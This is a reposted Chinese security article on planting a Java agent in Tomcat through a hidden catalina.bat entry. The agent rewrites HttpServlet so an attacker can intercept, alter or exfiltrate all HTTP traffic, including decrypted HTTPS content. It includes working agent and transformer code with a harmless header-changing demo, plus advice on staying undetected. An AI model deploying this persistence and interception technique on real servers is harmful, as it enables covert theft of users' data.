转载

Java Web本地提权以及数据劫持思路(以Tomcat为例)

最近偶然接触到一个Java的不常用的特性:instrument。简单来说,这个特性允许你在程序运行之前改变任意类文件的字节码。简单的instrument例子大家可以百度,相当多。而在运行Java程序的时候,只需要加上一个选项即可运行写好的instrument jar包,如:java  -javaagent:agent.jar -jar helloworld.jar。

那么回到这次的主题,如何在tomcat中利用这个特性做到提权和劫持数据呢?

提权的思路其实可能有些小伙伴已经想到了。就是根据这个特性写一个Java程序,打包成jar(比如agent.jar),然后放到tomcat的lib里或者其他地方,然后在catalina.bat中找个隐蔽的地方加上如下一行:

set CATALINA_OPTS=%CATALINA_OPTS% -javaagent:绝对路径/agent.jar=参数

当管理员启动tomcat的时候就会执行agent里的Java代码了。

当然,这么做需要能上传文件以及对catalina.bat有写权限。

其实当你能登录服务器或者有shell的时候,已经可以做很多事了。提权可能根本不需要通过tomcat这种途径。

那么是否还能做点别的呢?

根据这个特性,其实还可以拦截所有http请求的数据。

据本人所知,所有Java web项目里的请求处理类都继承了HttpServlet这个抽象类,包括Spring。所以你只要通过这个特性,修改HttpServlet的代码就可以获取和改动所有request和response的头以及数据,要把数据发走也不是问题,加个URLconnection的处理就行。以下给一个简单的示例,

项目截图:

Java Web本地提权以及数据劫持思路(以Tomcat为例)

Transformer类,功能相当于把Java代码插入了HttpServlet中。几乎可插入任意变量和方法,但有些写法上稍微与一般的java不一样,且尽量使用core java:

package org.xf.agent;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class ServletTransformer  implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className,Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("javax/servlet/http/HttpServlet")){
return transformClass(classfileBuffer);
}
return classfileBuffer;
}
private byte[] transformClass(byte[] classfileBuffer) {
try {
            ClassPool cp = ClassPool.getDefault();
            CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
            CtMethod[] ms = cc.getDeclaredMethods();
            for(CtMethod method: ms)
            {
           	//只改动service方法就够了
           	if(method.getName().equals("service")&&Modifier.toString(method.getModifiers()).equals("protected"))
           	{
           	method.insertAfter("resp.setHeader(/"Server/",/"JBoss/");");
           	}
            }
            byte[] byteCode = cc.toBytecode();
            cc.detach();
            return byteCode;
        } catch (Exception ex) {
            ex.printStackTrace();
            return null;
        }
}
}

Agent类:

package org.xf.agent;
import java.lang.instrument.Instrumentation;
public class ServletAgent {
public static void premain(String agentArguments, Instrumentation instrumentation) {
   instrumentation.addTransformer(new ServletTransformer());
}
}

导出为可执行Jar,用7z编辑Jar包里的MANIFEST.MF文件,加上一行:

premain-Class: org.xf.agent.ServletAgent

样本如下图所示:

Java Web本地提权以及数据劫持思路(以Tomcat为例)

然后随便建个Web项目,servlet代码如下:

@WebServlet("/Basic")
public class Basic extends HttpServlet {
private static final long serialVersionUID = 1L;
      
   /**
    * @see HttpServlet#HttpServlet()
    */
   public Basic() {
       super();
       // TODO Auto-generated constructor stub
   }
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Hello");
}
}

别忘了在tomcat的catalina.bat中加入那一行,建议使用绝对路径,然后下面是运行效果,可以看到响应头中出现了Server: JBoss。

Java Web本地提权以及数据劫持思路(以Tomcat为例)

这样做的隐蔽性很好,因为几乎不会有管理员去检查lib里的jar是不是多了一个,catalina的配置更是几百年都不一定检查一次。而无论项目war包如何换,都不影响这个隐藏jar包的。基本只要这个程序不导致什么重大的性能问题,就很难被发现。并且由于这个方法是从内部修改程序,HTTPS加密的内容也可以修改和盗取。

这并不是一个Bug或者漏洞,而是一个完全正规的Java特性,所以。。。应该是不可被修复的吧。

*本文作者:jfeiyi 。转载请注明来自FreeBuf.com

原文  http://www.freebuf.com/articles/web/121867.html
正文到此结束
Loading...